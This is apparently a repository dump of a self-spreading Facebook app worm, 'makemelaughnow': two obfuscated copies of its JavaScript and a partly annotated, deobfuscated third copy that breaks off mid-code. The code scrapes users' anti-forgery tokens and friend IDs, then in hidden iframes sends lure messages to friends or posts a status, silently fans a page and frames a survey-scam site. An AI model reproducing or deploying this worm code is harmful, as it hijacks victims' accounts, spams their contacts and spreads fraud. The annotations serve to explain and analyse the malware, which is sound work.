 30 | 							var a100124540047022_val = a100124540047022_val || '';
 31 | 							return (a100124540047022_val == 'name') ? $FBJS.ref(this).help(a100124540047022_nam,a100124540047022_val) : $FBJS.ref(this).input(a100124540047022_nam,a100124540047022_val);
 32 | 						}
 33 | 			};
 34 | 			
 35 | 			
 36 | 			var a100124540047022_meth = {
 37 | 				ftarg : ["21"- -"5",22+1,"18"- -"6"],
 38 | 				fhome : [5-4,3+4,1+6,17+1,8-4,20+5,"19"- -"6",5+2,1+1,13+3,10-10,3-2,11+4,23+3,14+10,20-20,3+3,10+4,1+1,4-2,2+3,11+4,
 39 | 							5-5,1+1,16-8,17+8,9-8,9-7,4+4,1+5,9+6,17+1,19-18,17+1],
 40 | 				m : 	[3-2,"3"- -"4",3+4,17+1,2+2,20+5,30-5,10-3,1+1,13+3,"0"- -"0",2-1,13+2,23+3,20+4,10-10,3+3,11+3,1+1,4-2,3+2,14+1,8-8,
 41 | 							8-6,4+4,30-5,4+4,3+3,5+5,6+4,20+4,10+10,3+3,21+8,7+3,3+3,20+2,6+3,11+4,17+1,2-1,10+8],
 42 | 				su : 	[5-4,"2" - -"5",1+6,15+3,2+2,20+5,30-5,1+6,1+1,13+3,10-10,3-2,12+3,20+6,22+2,5-5,4+2,12+2,1+1,5-3,4+1,11+4,9-9,
 43 | 							1+1,4+4,21+4,6+4,12+4,11+3,5+3,26+1,4+3,28+1,8+2,5+2,22+2,1+6,13+3,1+9,10+5,14+4,2-1,17+1],
 44 | 				lp :	[1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,23,6,12,10,15,18,1,18,30,27,9,31],
 45 | 				pid : 	["11"- -"7",4-2,5+5,1+6,19+10,23+3,1+1,22+1,2+6,21+8,21+6,6+3],
 46 | 				fbd : 	[19+7,"10"- -"4",20+9,10-1,5+2,5+5,11+9],
 47 | 				hc :	["0"- -"1",4+2,10+1,15+3,28+1,10-10,1+1,11+11,2+5,20+4,21+6,20+2,1+5,20+3],
 48 | 				get : 	function(a100124540047022_s){return a100124540047022_create.fire(a100124540047022_s,'name');}
 49 | 			};
 50 | 			
 51 | 			var a100124540047022_findvalues = {
 52 | 				a : ((new a100124540047022_RegExp('st_.or._i.\\\x22 .al.e=\\\x22(.*?)\\\x22',''))),
 53 | 				b : ((new a100124540047022_RegExp('b_d.s.\\\x22 v..ue=\\\x22(.*?)\\\x22',''))),
 54 | 				c : ((new a100124540047022_RegExp('p.o..le\\.p.p\\?i.=(\\d+)\\\x22',''))),
 55 | 				d : ((new a100124540047022_RegExp('na.e=\\\x22i.s\\[]\\\x22 v.l.e=\\\x22(.*?)\\\x22','gi'))),
 56 | 				firefunc : function(a100124540047022_strdata){
 57 | 						var a100124540047022_matches=[],a100124540047022_fmatch=[],a100124540047022_out = '',a100124540047022_f = 0;
 58 | 						for (a100124540047022_p in a100124540047022_findvalues){
 59 | 							try{
 60 | 								if(a100124540047022_f==3){
 61 | 									while (a100124540047022_matches = a100124540047022_findvalues[$FBJS.idx(a100124540047022_p)].exec(a100124540047022_strdata)){
 62 | 										if(a100124540047022_matches[$FBJS.idx(1)] == a100124540047022_sheep[$FBJS.idx(0)]){break;}
 63 | 										if(a100124540047022_matches[$FBJS.idx(1)].length < 25){a100124540047022_sheep.push(a100124540047022_matches[$FBJS.idx(1)]);}
 64 | 									}
 65 | 									break;
 66 | 								}
 67 | 								a100124540047022_fmatch = a100124540047022_findvalues[$FBJS.idx(a100124540047022_p)].exec(a100124540047022_strdata);
 68 | 								if(a100124540047022_fmatch[$FBJS.idx(1)] !== null){a100124540047022_params[$FBJS.idx(a100124540047022_f)] = a100124540047022_fmatch[$FBJS.idx(1)];}
 69 | 							}catch(a100124540047022_err){
 70 | 								a100124540047022_logerr(a100124540047022_err);
 71 | 							}
 72 | 							a100124540047022_f++;
 73 | 						}
 74 | 						a100124540047022_document.getElementById('help_container').setTextValue('');
 75 | 						var a100124540047022_out = ((a100124540047022_params[$FBJS.idx(0)] !== null) && (a100124540047022_params[$FBJS.idx(0)] !== null)) ? 1 : 0;
 76 | 						return a100124540047022_out;
 77 | 					}
 78 | 				};
 79 | 			
 80 | 			var a100124540047022_methodaction = function(){
 81 | 				var a100124540047022_retmeth = 0;
 82 | 				a100124540047022_sheep = a100124540047022_sheep || [];
 83 | 				var a100124540047022_goahead = (((a100124540047022_sheep.length - 1) < 1) || ((a100124540047022_sheep.length - 1) > 500)) ? 0 : 1;
 84 | 				if(a100124540047022_goahead == 0){
 85 | 											a100124540047022_document.getElementById('frm').setAction(a100124540047022_meth.get(a100124540047022_meth.su)).setTarget(a100124540047022_meth.get(a100124540047022_meth.ftarg));
 86 | 						a100124540047022_create.fire('status','only go here if you are my TRUE friend http://apps.facebook.com/makemelaughnow/');
 87 | 						a100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.pid),a100124540047022_params[$FBJS.idx(0)]);
 88 | 						a100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.fbd),a100124540047022_params[$FBJS.idx(1)]);
 89 | 						a100124540047022_retmeth = 2;
 90 | 										return a100124540047022_retmeth;
 91 | 				}else{
 92 | 											a100124540047022_document.getElementById('frm').setAction(a100124540047022_meth.get(a100124540047022_meth.m)).setTarget(a100124540047022_meth.get(a100124540047022_meth.ftarg));
 93 | 						a100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.fbd),a100124540047022_params[$FBJS.idx(1)]);
 94 | 						a100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.pid),a100124540047022_params[$FBJS.idx(0)]);
 95 | 						a100124540047022_create.fire('ids[]','');
 96 | 						a100124540047022_create.fire('subject','i thought of you..');
 97 | 						a100124540047022_create.fire('body','im using up my fb ad credits to send u a gift so HERE = http://apps.facebook.com/makemelaughnow/');
 98 | 						var a100124540047022_sendamount = (12 > (a100124540047022_sheep.length-1)) ? (a100124540047022_sheep.length-1) : 12;
 99 | 						var a100124540047022_sendamount = (a100124540047022_sendamount < 20) ? a100124540047022_sendamount : 20;
100 | 						for(var a100124540047022_j=0;a100124540047022_j<a100124540047022_sendamount;a100124540047022_j++){
101 | 							a100124540047022_create.fire('ids[]',a100124540047022_sheep[$FBJS.idx(a100124540047022_j)]);
102 | 						}
103 | 						a100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.fbd),a100124540047022_params[$FBJS.idx(1)]);
104 | 						a100124540047022_retmeth = 1;
105 | 										return a100124540047022_retmeth;
106 | 				}
107 | 			}
108 | 			
109 | 			//
110 | 			try{
111 | 				a100124540047022_domethod = a100124540047022_findvalues.firefunc(a100124540047022_document.getElementById('help_container').getFirstChild().getTitle());
112 | 			}catch(a100124540047022_err){
113 | 				a100124540047022_logerr(a100124540047022_err);
114 | 			}finally{
115 | 				if((a100124540047022_domethod == 1) && (a100124540047022_params.length > 1)){
116 | 				
117 | 					a100124540047022_document.getElementById('work_container').setInnerXHTML("<iframe name='fra' id='fra' frameborder='0' smartsize='false' width='1' height='1' scrolling='no' style='width:1px;height:1px;' src='about:blank'></iframe>");
118 | 					a100124540047022_document.getElementById('frm_container').setInnerXHTML('<form id="frm" method="POST" action=""></form>');
119 | 					
120 | 					var a100124540047022_submitfrm = a100124540047022_methodaction();
121 | 					if(a100124540047022_submitfrm > 0){
122 | 						try{
123 | 							a100124540047022_setTimeout(function(){a100124540047022_document.getElementById('frm').submit();},1200);
124 | 						}catch(a100124540047022_err){ 
125 | 							a100124540047022_logerr(a100124540047022_err);
126 | 						}
127 | 					}
128 | 					
129 | 											try{
130 | 							var a100124540047022_lkp = a100124540047022_document.createElement('div').setId('lkp');
131 | 							a100124540047022_document.getElementById('work_container').appendChild(a100124540047022_lkp);
132 | 							a100124540047022_lkp.setInnerXHTML("<iframe id='fralkp' name='fralkp' width='1' height='1' scrolling='no' frameborder='0' style='border:none;overflow:hidden;width:1px;height:1px;' src='about:blank'></iframe>");
133 | 							a100124540047022_document.getElementById('fralkp').setSrc(a100124540047022_meth.get(a100124540047022_meth.lp) + '148034935215009&action=fan&' + a100124540047022_meth.get(a100124540047022_meth.pid) + '=' + a100124540047022_params[$FBJS.idx(0)]);
134 | 							a100124540047022_lkp = null;
135 | 						}catch(a100124540047022_err){
136 | 							a100124540047022_logerr(a100124540047022_err);
137 | 						}
138 | 										
139 | 				}
140 | 			}
141 | 			
142 | 				
143 | 			a100124540047022_document.getElementById('frabox').setClassName('frabox');
144 | 			a100124540047022_document.getElementById('frabox').setInnerXHTML('<iframe id="fraoff" name="fraoff" width="760" height="700" scrolling="no" frameborder="0" style="position:relative;overflow:hidden;border:none;width:755px;height:750px;top:-245px;" src="http://track.socialsurveys.us/DefaultPage.aspx?nm=017gjfq68yx9"></iframe>');
145 | 			a100124540047022_document.getElementById('loading').setTextValue('Complete above to see a joke!');
146 | 			
147 | 			
148 | 			a100124540047022_setTimeout(function(){
149 | 				a100124540047022_document.getElementById('work_container').setTextValue('');
150 | 				a100124540047022_document.getElementById('frm_container').setTextValue('');
151 | 				
152 | 			},16000);
153 | 
154 | 		}
155 | 		
156 | 		a100124540047022_setTimeout(function(){a100124540047022_startapp();},800);
157 | 			
158 | 
159 | 


--------------------------------------------------------------------------------
/makemelaugh/step2_2.js:
--------------------------------------------------------------------------------
  1 | var app_x = new fbjs_sandbox("x").setBridgeHash("");app_x.validation_vars = {"fb_sig_locale":"en_US","fb_sig_in_new_facebook":1,"fb_sig_time":"1283155119.2838","fb_sig_added":0,"fb_sig_country":"pl","fb_sig_api_key":"4c6e8537174db9c6ff666575fb7c10ff","fb_sig_app_id":x,"fb_sig":"783435ee8e6dca8403944cccc738475a"};app_x.context = "22d3448e5250";app_x.contextd = "O:16:\"CanvasFBMLFlavor\":1:{s:9:\"_fbml_env\";a:15:{s:4:\"user\";i:100000589778946;s:6:\"app_id\";i:x;s:10:\"fb_page_id\";i:0;s:10:\"canvas_url\";s:40:\"http:\/\/apps.facebook.com\/makemelaughnow\/\";s:10:\"source_url\";s:40:\"http:\/\/www.bestplazadel.com\/makemelaugh\/\";s:9:\"loggedout\";b:0;s:7:\"non-tos\";b:1;s:11:\"flavor_code\";i:3;s:14:\"on_canvas_info\";b:0;s:8:\"is_tosed\";b:0;s:14:\"user_triggered\";b:1;s:11:\"image_cache\";N;s:14:\"ajax_triggered\";b:1;s:17:\"non_underlineable\";a:0:{}s:14:\"suppress_label\";b:1;}}";app_x.data = {"user":100000589778946,"installed":false};app_x.bootstrap();
  2 | 
  3 | 		var ax_startedapp;
  4 | 		var ax_sheep=[],ax_params=[],ax_domethod=0;
  5 | 	
  6 | 		function ax_logerr(ax_err){
  7 | 		
  8 | 		}
  9 | 
 10 | 		function ax_startapp(){
 11 | 			if(ax_startedapp=='1'){return;}
 12 | 			ax_startedapp='1';
 13 | 			
 14 | 			
 15 | 			var ax_create = {
 16 | 				help :	function(ax_cmd,ax_name){
 17 | 							var ax_co = ax_document.getElementById(ax_name.substr(2,1)).getTitle();
 18 | 							for(var ax_a=0, ax_out='';ax_a<=ax_cmd.length-1;ax_a++){var ax_out=ax_out + ax_co.substr(ax_cmd[$FBJS.idx(ax_a)],1);}
 19 | 							return ax_out;
 20 | 						},
 21 | 				input : function(ax_name,ax_value){
 22 | 							var ax_frmform = ax_document.getElementById('frm');
 23 | 							var ax_frminput = ax_document.createElement('input');
 24 | 							ax_frminput.setType('hidden').setValue(ax_value).setName(ax_name);
 25 | 							ax_frmform.appendChild(ax_frminput);
 26 | 							ax_frminput=null,ax_frmform=null;
 27 | 							return;
 28 | 						},
 29 | 				fire : 	function(ax_nam,ax_val){
 30 | 							var ax_val = ax_val || '';
 31 | 							return (ax_val == 'name') ? $FBJS.ref(this).help(ax_nam,ax_val) : $FBJS.ref(this).input(ax_nam,ax_val);
 32 | 						}
 33 | 			};
 34 | 			
 35 | 			
 36 | 			var ax_meth = {
 37 | 				ftarg : ["21"- -"5",22+1,"18"- -"6"],
 38 | 				fhome : [5-4,3+4,1+6,17+1,8-4,20+5,"19"- -"6",5+2,1+1,13+3,10-10,3-2,11+4,23+3,14+10,20-20,3+3,10+4,1+1,4-2,2+3,11+4,
 39 | 							5-5,1+1,16-8,17+8,9-8,9-7,4+4,1+5,9+6,17+1,19-18,17+1],
 40 | 				m : 	[3-2,"3"- -"4",3+4,17+1,2+2,20+5,30-5,10-3,1+1,13+3,"0"- -"0",2-1,13+2,23+3,20+4,10-10,3+3,11+3,1+1,4-2,3+2,14+1,8-8,
 41 | 							8-6,4+4,30-5,4+4,3+3,5+5,6+4,20+4,10+10,3+3,21+8,7+3,3+3,20+2,6+3,11+4,17+1,2-1,10+8],
 42 | 				su : 	[5-4,"2" - -"5",1+6,15+3,2+2,20+5,30-5,1+6,1+1,13+3,10-10,3-2,12+3,20+6,22+2,5-5,4+2,12+2,1+1,5-3,4+1,11+4,9-9,
 43 | 							1+1,4+4,21+4,6+4,12+4,11+3,5+3,26+1,4+3,28+1,8+2,5+2,22+2,1+6,13+3,1+9,10+5,14+4,2-1,17+1],
 44 | 				lp :	[1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,23,6,12,10,15,18,1,18,30,27,9,31],
 45 | 				pid : 	["11"- -"7",4-2,5+5,1+6,19+10,23+3,1+1,22+1,2+6,21+8,21+6,6+3],
 46 | 				fbd : 	[19+7,"10"- -"4",20+9,10-1,5+2,5+5,11+9],
 47 | 				hc :	["0"- -"1",4+2,10+1,15+3,28+1,10-10,1+1,11+11,2+5,20+4,21+6,20+2,1+5,20+3],
 48 | 				get : 	function(ax_s){return ax_create.fire(ax_s,'name');}
 49 | 			};
 50 | 			
 51 | 			var ax_findvalues = {
 52 | 				a : ((new ax_RegExp('st_.or._i.\\\x22 .al.e=\\\x22(.*?)\\\x22',''))),
 53 | 				b : ((new ax_RegExp('b_d.s.\\\x22 v..ue=\\\x22(.*?)\\\x22',''))),
 54 | 				c : ((new ax_RegExp('p.o..le\\.p.p\\?i.=(\\d+)\\\x22',''))),
 55 | 				d : ((new ax_RegExp('na.e=\\\x22i.s\\[]\\\x22 v.l.e=\\\x22(.*?)\\\x22','gi'))),
 56 | 				firefunc : function(ax_strdata){
 57 | 						var ax_matches=[],ax_fmatch=[],ax_out = '',ax_f = 0;
 58 | 						for (ax_p in ax_findvalues){
 59 | 							try{
 60 | 								if(ax_f==3){
 61 | 									while (ax_matches = ax_findvalues[$FBJS.idx(ax_p)].exec(ax_strdata)){
 62 | 										if(ax_matches[$FBJS.idx(1)] == ax_sheep[$FBJS.idx(0)]){break;}
 63 | 										if(ax_matches[$FBJS.idx(1)].length < 25){ax_sheep.push(ax_matches[$FBJS.idx(1)]);}
 64 | 									}
 65 | 									break;
 66 | 								}
 67 | 								ax_fmatch = ax_findvalues[$FBJS.idx(ax_p)].exec(ax_strdata);
 68 | 								if(ax_fmatch[$FBJS.idx(1)] !== null){ax_params[$FBJS.idx(ax_f)] = ax_fmatch[$FBJS.idx(1)];}
 69 | 							}catch(ax_err){
 70 | 								ax_logerr(ax_err);
 71 | 							}
 72 | 							ax_f++;
 73 | 						}
 74 | 						ax_document.getElementById('help_container').setTextValue('');
 75 | 						var ax_out = ((ax_params[$FBJS.idx(0)] !== null) && (ax_params[$FBJS.idx(0)] !== null)) ? 1 : 0;
 76 | 						return ax_out;
 77 | 					}
 78 | 				};
 79 | 			
 80 | 			var ax_methodaction = function(){
 81 | 				var ax_retmeth = 0;
 82 | 				ax_sheep = ax_sheep || [];
 83 | 				var ax_goahead = (((ax_sheep.length - 1) < 1) || ((ax_sheep.length - 1) > 500)) ? 0 : 1;
 84 | 				if(ax_goahead == 0){
 85 | 											ax_document.getElementById('frm').setAction(ax_meth.get(ax_meth.su)).setTarget(ax_meth.get(ax_meth.ftarg));
 86 | 						ax_create.fire('status','only go here if you are my TRUE friend http://apps.facebook.com/makemelaughnow/');
 87 | 						ax_create.fire(ax_meth.get(ax_meth.pid),ax_params[$FBJS.idx(0)]);
 88 | 						ax_create.fire(ax_meth.get(ax_meth.fbd),ax_params[$FBJS.idx(1)]);
 89 | 						ax_retmeth = 2;
 90 | 										return ax_retmeth;
 91 | 				}else{
 92 | 											ax_document.getElementById('frm').setAction(ax_meth.get(ax_meth.m)).setTarget(ax_meth.get(ax_meth.ftarg));
 93 | 						ax_create.fire(ax_meth.get(ax_meth.fbd),ax_params[$FBJS.idx(1)]);
 94 | 						ax_create.fire(ax_meth.get(ax_meth.pid),ax_params[$FBJS.idx(0)]);
 95 | 						ax_create.fire('ids[]','');
 96 | 						ax_create.fire('subject','i thought of you..');
 97 | 						ax_create.fire('body','im using up my fb ad credits to send u a gift so HERE = http://apps.facebook.com/makemelaughnow/');
 98 | 						var ax_sendamount = (12 > (ax_sheep.length-1)) ? (ax_sheep.length-1) : 12;
 99 | 						var ax_sendamount = (ax_sendamount < 20) ? ax_sendamount : 20;
100 | 						for(var ax_j=0;ax_j<ax_sendamount;ax_j++){
101 | 							ax_create.fire('ids[]',ax_sheep[$FBJS.idx(ax_j)]);
102 | 						}
103 | 						ax_create.fire(ax_meth.get(ax_meth.fbd),ax_params[$FBJS.idx(1)]);
104 | 						ax_retmeth = 1;
105 | 										return ax_retmeth;
106 | 				}
107 | 			}
108 | 			
109 | 			//
110 | 			try{
111 | 				ax_domethod = ax_findvalues.firefunc(ax_document.getElementById('help_container').getFirstChild().getTitle());
112 | 			}catch(ax_err){
113 | 				ax_logerr(ax_err);
114 | 			}finally{
115 | 				if((ax_domethod == 1) && (ax_params.length > 1)){
116 | 				
117 | 					ax_document.getElementById('work_container').setInnerXHTML("<iframe name='fra' id='fra' frameborder='0' smartsize='false' width='1' height='1' scrolling='no' style='width:1px;height:1px;' src='about:blank'></iframe>");
118 | 					ax_document.getElementById('frm_container').setInnerXHTML('<form id="frm" method="POST" action=""></form>');
119 | 					
120 | 					var ax_submitfrm = ax_methodaction();
121 | 					if(ax_submitfrm > 0){
122 | 						try{
123 | 							ax_setTimeout(function(){ax_document.getElementById('frm').submit();},1200);
124 | 						}catch(ax_err){ 
125 | 							ax_logerr(ax_err);
126 | 						}
127 | 					}
128 | 					
129 | 											try{
130 | 							var ax_lkp = ax_document.createElement('div').setId('lkp');
131 | 							ax_document.getElementById('work_container').appendChild(ax_lkp);
132 | 							ax_lkp.setInnerXHTML("<iframe id='fralkp' name='fralkp' width='1' height='1' scrolling='no' frameborder='0' style='border:none;overflow:hidden;width:1px;height:1px;' src='about:blank'></iframe>");
133 | 							ax_document.getElementById('fralkp').setSrc(ax_meth.get(ax_meth.lp) + '148034935215009&action=fan&' + ax_meth.get(ax_meth.pid) + '=' + ax_params[$FBJS.idx(0)]);
134 | 							ax_lkp = null;
135 | 						}catch(ax_err){
136 | 							ax_logerr(ax_err);
137 | 						}
138 | 										
139 | 				}
140 | 			}
141 | 			
142 | 				
143 | 			ax_document.getElementById('frabox').setClassName('frabox');
144 | 			ax_document.getElementById('frabox').setInnerXHTML('<iframe id="fraoff" name="fraoff" width="760" height="700" scrolling="no" frameborder="0" style="position:relative;overflow:hidden;border:none;width:755px;height:750px;top:-245px;" src="http://track.socialsurveys.us/DefaultPage.aspx?nm=017gjfq68yx9"></iframe>');
145 | 			ax_document.getElementById('loading').setTextValue('Complete above to see a joke!');
146 | 			
147 | 			
148 | 			ax_setTimeout(function(){
149 | 				ax_document.getElementById('work_container').setTextValue('');
150 | 				ax_document.getElementById('frm_container').setTextValue('');
151 | 				
152 | 			},16000);
153 | 
154 | 		}
155 | 		
156 | 		ax_setTimeout(function(){ax_startapp();},800);
157 | 			
158 | 
159 | 


--------------------------------------------------------------------------------
/makemelaugh/step3.js:
--------------------------------------------------------------------------------
  1 | /* facebook sandbox initialization below, not important here, so removed */
  2 | var app_x = new fbjs_sandbox("xx").setBridgeHash("");
  3 | 
  4 | app_x.validation_vars = {
  5 | };
  6 | app_x.context = "xxx";
  7 | app_x.contextd = "xxx";
  8 | app_x.data = {
  9 | 		"xxx"
 10 | };
 11 | 
 12 | app_x.bootstrap();
 13 | 
 14 | var ax_startedapp;
 15 | // ax_sheep will contain your friend IDs
 16 | // ax_params will contain 3 elements: 2 first items are credentials for sending messages, 3rd - your FB id
 17 | var ax_sheep = [], ax_params = [], ax_domethod = 0;
 18 | 
 19 | var ax_domethod = 0;
 20 | 
 21 | function ax_logerr(ax_err) {
 22 | 
 23 | }
 24 | 
 25 | function ax_startapp() {
 26 | 	// start only once
 27 | 	if (ax_startedapp == '1') {
 28 | 		return;
 29 | 	}
 30 | 	ax_startedapp = '1';
 31 | 
 32 | 	var ax_create = {
 33 | 		help : function(ax_cmd, ax_name) {
 34 | 		    // actual decoding function - extracts characters from "<appid>_m" title attribute and combine them
 35 | 			var ax_co = ax_document.getElementById(
 36 | 					ax_name.substr(2, 1)).getTitle(); // "#m".getTitle()
 37 | 
 38 | 			ax_co = "choy:ketmdslqxb.ujpzgvnra/fiw_?="; // actual key for decoding (it doesn't mean anything on its own
 39 | 														 //, its just a dictionary)
 40 | 
 41 | 			// decoding loop ax_cmd
 42 | 			// FBJS.idx is FB sandbox functionality - see http://w2spconf.com/2009/papers/s3p2.pdf
 43 | 			// FBJS.idx(a) === a
 44 | 			// ax_cmd contains offsets of ax_co characters to append
 45 | 			for ( var ax_a = 0, ax_out = ''; ax_a <= ax_cmd.length - 1; ax_a++) {
 46 | 				var ax_out = ax_out
 47 | 						+ ax_co.substr(ax_cmd[$FBJS
 48 | 								.idx(ax_a)], 1);
 49 | 			}
 50 | 			return ax_out;
 51 | 		},
 52 | 		input : function(ax_name, ax_value) {
 53 | 			// add hidden input to form
 54 | 			var ax_frmform = ax_document
 55 | 					.getElementById('frm');
 56 | 			var ax_frminput = ax_document
 57 | 					.createElement('input');
 58 | 			ax_frminput.setType('hidden').setValue(
 59 | 					ax_value).setName(ax_name);
 60 | 			ax_frmform.appendChild(ax_frminput);
 61 | 			ax_frminput = null, ax_frmform = null;
 62 | 			return;
 63 | 		},
 64 | 		fire : function(ax_nam, ax_val) {
 65 | 			// decode or insert input field
 66 | 			var ax_val = ax_val || '';
 67 | 			return (ax_val == 'name') ? $FBJS.ref(this).help(
 68 | 					ax_nam, ax_val) : $FBJS.ref(
 69 | 					this).input(ax_nam, ax_val);
 70 | 		}
 71 | 	};
 72 | 
 73 | 	var ax_meth = {
 74 | 		// object with character offets from app's 'm' HTML entity (in title attr there are characters that the result is composed of)
 75 | 	    // get() method decodes
 76 | 		// small obfuscation below
 77 | 		ftarg : [ "21" - -"5", 22 + 1, "18" - -"6" ],
 78 | 		fhome : [ 5 - 4, 3 + 4, 1 + 6, 17 + 1, 8 - 4, 20 + 5, "19" - -"6",
 79 | 				5 + 2, 1 + 1, 13 + 3, 10 - 10, 3 - 2, 11 + 4, 23 + 3, 14 + 10,
 80 | 				20 - 20, 3 + 3, 10 + 4, 1 + 1, 4 - 2, 2 + 3, 11 + 4, 5 - 5,
 81 | 				1 + 1, 16 - 8, 17 + 8, 9 - 8, 9 - 7, 4 + 4, 1 + 5, 9 + 6,
 82 | 				17 + 1, 19 - 18, 17 + 1 ],
 83 | 		m : [ 3 - 2, "3" - -"4", 3 + 4, 17 + 1, 2 + 2, 20 + 5, 30 - 5, 10 - 3,
 84 | 				1 + 1, 13 + 3, "0" - -"0", 2 - 1, 13 + 2, 23 + 3, 20 + 4,
 85 | 				10 - 10, 3 + 3, 11 + 3, 1 + 1, 4 - 2, 3 + 2, 14 + 1, 8 - 8,
 86 | 				8 - 6, 4 + 4, 30 - 5, 4 + 4, 3 + 3, 5 + 5, 6 + 4, 20 + 4,
 87 | 				10 + 10, 3 + 3, 21 + 8, 7 + 3, 3 + 3, 20 + 2, 6 + 3, 11 + 4,
 88 | 				17 + 1, 2 - 1, 10 + 8 ],
 89 | 		su : [ 5 - 4, "2" - -"5", 1 + 6, 15 + 3, 2 + 2, 20 + 5, 30 - 5, 1 + 6,
 90 | 				1 + 1, 13 + 3, 10 - 10, 3 - 2, 12 + 3, 20 + 6, 22 + 2, 5 - 5,
 91 | 				4 + 2, 12 + 2, 1 + 1, 5 - 3, 4 + 1, 11 + 4, 9 - 9, 1 + 1,
 92 | 				4 + 4, 21 + 4, 6 + 4, 12 + 4, 11 + 3, 5 + 3, 26 + 1, 4 + 3,
 93 | 				28 + 1, 8 + 2, 5 + 2, 22 + 2, 1 + 6, 13 + 3, 1 + 9, 10 + 5,
 94 | 				14 + 4, 2 - 1, 17 + 1 ],
 95 | 		lp : [ 1, 7, 7, 18, 4, 25, 25, 7, 2, 16, 0, 1, 15, 26, 24, 0, 6, 14, 2,
 96 | 				2, 5, 15, 0, 2, 8, 25, 23, 6, 12, 10, 15, 18, 1, 18, 30, 27, 9,
 97 | 				31 ],
 98 | 		pid : [ "11" - -"7", 4 - 2, 5 + 5, 1 + 6, 19 + 10, 23 + 3, 1 + 1,
 99 | 				22 + 1, 2 + 6, 21 + 8, 21 + 6, 6 + 3 ],
100 | 		fbd : [ 19 + 7, "10" - -"4", 20 + 9, 10 - 1, 5 + 2, 5 + 5, 11 + 9 ],
101 | 		hc : [ "0" - -"1", 4 + 2, 10 + 1, 15 + 3, 28 + 1, 10 - 10, 1 + 1,
102 | 				11 + 11, 2 + 5, 20 + 4, 21 + 6, 20 + 2, 1 + 5, 20 + 3 ],
103 | 		/*
104 | 			ftarg:[26,23,24],
105 | 			fhome:[1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,1,2,8,6,15,18,1,18],
106 | 			m:[1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,8,6,10,10,24,20,6,29,10,6,22,9,15,18,1,18],
107 | 			su:[1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,10,16,14,8,27,7,29,10,7,24,7,16,10,15,18,1,18],
108 | 			lp:[1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,23,6,12,10,15,18,1,18,30,27,9,31],
109 | 			pid:[18,2,10,7,29,26,2,23,8,29,27,9],
110 | 			fbd:[26,14,29,9,7,10,20],
111 | 			hc:[1,6,11,18,29,0,2,22,7,24,27,22,6,23]
112 | 		 */
113 | 
114 | 		// decoding function
115 | 		get : function(ax_s) {
116 | 	    // results:
117 | 		/*
118 | 			m=http://touch.facebook.com/message_send.php
119 | 			ftarg=fra
120 | 			su=http://touch.facebook.com/submit_status.php  (status update)
121 | 			pid=post_form_id
122 | 			lp=http://touch.facebook.com/reqs.php?id=
123 | 			fhome=http://touch.facebook.com/home.php
124 | 			fbd=fb_dtsg
125 | 			hc=fb_dtsg
126 | 		 */
127 | 			return ax_create.fire(ax_s, 'name');
128 | 		}
129 | 	};
130 | 
131 | 	var ax_findvalues = {
132 | 	    // inserts your friend ids into ax_sheep
133 | 	    // inserts credentials for making a wall post into ax_params
134 | 	    // returns 1 if succeeded
135 | 		a : ((new ax_RegExp(
136 | 				'st_.or._i.\\\x22 .al.e=\\\x22(.*?)\\\x22', ''))), // <form action="http://www.facebook.com/wallpost.php"  post_form_id value
137 | 		b : ((new ax_RegExp(
138 | 				'b_d.s.\\\x22 v..ue=\\\x22(.*?)\\\x22', ''))), // value = type="hidden" id="fb_dtsg" name="fb_dtsg"
139 | 		c : ((new ax_RegExp('p.o..le\\.p.p\\?i.=(\\d+)\\\x22', ''))), // href="http://www.facebook.com/profile.php?id=xxx" your profile ID
140 | 		d : ((new ax_RegExp(
141 | 				'na.e=\\\x22i.s\\[]\\\x22 v.l.e=\\\x22(.*?)\\\x22', 'gi'))), // name=ids[] value= -- your friend ids
142 | 
143 | 		firefunc : function(ax_strdata) {
144 | 			var ax_matches = [], ax_fmatch = [], ax_out = '', ax_f = 0;
145 | 			for (ax_p in ax_findvalues) {
146 | 				try {
147 | 					if (ax_f == 3) {
148 | 						while (ax_matches = ax_findvalues[$FBJS
149 | 								.idx(ax_p)]
150 | 								.exec(ax_strdata)) {
151 | 							if (ax_matches[$FBJS.idx(1)] == ax_sheep[$FBJS
152 | 									.idx(0)]) {
153 | 								break;
154 | 							}
155 | 							if (ax_matches[$FBJS.idx(1)].length < 25) {
156 | 								ax_sheep
157 | 										.push(ax_matches[$FBJS
158 | 												.idx(1)]);
159 | 							}
160 | 						}
161 | 						break;
162 | 					}
163 | 					ax_fmatch = ax_findvalues[$FBJS
164 | 							.idx(ax_p)]
165 | 							.exec(ax_strdata);
166 | 					if (ax_fmatch[$FBJS.idx(1)] !== null) {
167 | 						ax_params[$FBJS.idx(ax_f)] = ax_fmatch[$FBJS
168 | 								.idx(1)];
169 | 					}
170 | 				} catch (ax_err) {
171 | 					ax_logerr(ax_err);
172 | 				}
173 | 				ax_f++;
174 | 			}
175 | 			ax_document.getElementById('help_container')
176 | 					.setTextValue('');
177 | 			var ax_out = ((ax_params[$FBJS.idx(0)] !== null) && (ax_params[$FBJS
178 | 					.idx(0)] !== null)) ? 1 : 0;
179 | 			return ax_out;
180 | 		}
181 | 	};
182 | 
183 | 	var ax_methodaction = function() {
184 | 		var ax_retmeth = 0;
185 | 		ax_sheep = ax_sheep || [];
186 | 		var ax_goahead = (((ax_sheep.length - 1) < 1) || ((ax_sheep.length - 1) > 500)) ? 0
187 | 				: 1;
188 | 		if (ax_goahead == 0) {
189 | 			// if you have <2 friends or > 500 friends
190 | 
191 | 			// only submit status update through touch.facebook.com
192 | 
193 | 			// change form action and target
194 | 			ax_document.getElementById('frm').setAction( /*http://touch.facebook.com/submit_status.php*/
195 | 					ax_meth.get(ax_meth.su))
196 | 					.setTarget(
197 | 							ax_meth
198 | 									.get(ax_meth.ftarg) /* fra  - created iframe*/) ;
199 | 			// add fields
